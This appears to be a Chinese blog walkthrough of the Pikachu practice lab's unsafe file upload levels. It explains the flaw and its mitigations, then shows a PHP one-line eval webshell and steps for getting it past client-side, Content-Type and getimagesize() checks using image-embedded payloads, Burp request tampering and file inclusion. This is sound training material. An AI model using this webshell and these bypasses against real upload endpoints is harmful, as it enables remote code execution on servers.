pikachu靶场通关-Unsafe Fileupload文件上传漏洞

Unsafe Fileupload

0x00 不安全的文件上传漏洞

    文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。 
    所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如:
    --验证文件类型、后缀名、大小;
    --验证文件的上传方式;
    --对文件进行一定复杂的重命名;
    --不要暴露文件上传后的路径;

0x01 客户端check

1、准备木马文件pk01.php,内容<?php eval($_POST['code']); ?>

2、上传pk01.php,提示上传的文件不符合要求,请重新选择!

image-20230211112712784

3、说明前端对文件后缀进行了过滤

4、接下来制作一张图片马pk01.jpg,隐写内容:<?php eval($_POST['code']); ?>。尝试上传后成功,还暴露了路径

image-20230211113923377

5、根据暴露的路径进行访问,可以访问,但是无法传值

6、再次上传,并使用burpsuite进行改包,将pk01.jpg改为pk01.php

image-20230211114428477

7、可以发现文件上传成功,尝试访问并传值,通关

image-20230211114556939

0x02 服务端check

1、准备木马文件pk02.php,内容<?php eval($_POST['code']); ?>

2、上传pk02.php,提示上传的图片只能是jpg,jpeg,png格式的!

image-20230211120508486

3、说明前端对文件后缀进行了过滤

4、再次上传,改包,将pk02.php改为pa02.jpg,结果依然失败——其实题目已经给过提示了,这里需要修改Content-Type的值

5、也可以直接制作一张图片马pk02.jpg,隐写内容:<?php eval($_POST['code']); ?>

6、上传,并使用burpsuite进行改包,将pk02.jpg改为pk02.php

image-20230211121104387

7、可以发现文件上传成功,尝试访问并传值,通关

image-20230211121205974

0x03 getimagesize()

getimagesize()

getimagesize():将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。

GIF89a

图形交换格式编号89A,一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。

步骤

方法一:

1、使用上几关的方式已经不能成功了,因为此关后端也使用getimagesize()进行了验证,并且还进行了重新命名

2、重新上传pk03.php,内容<?php eval($_POST['code']); ?>,并改包

image-20230211123251298

3、还是不行,放弃了,可能是姿势不够多

方法二:

1、上传图片马,获取图片马路径

2、配合文件包含漏洞

image-20230211124457995

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值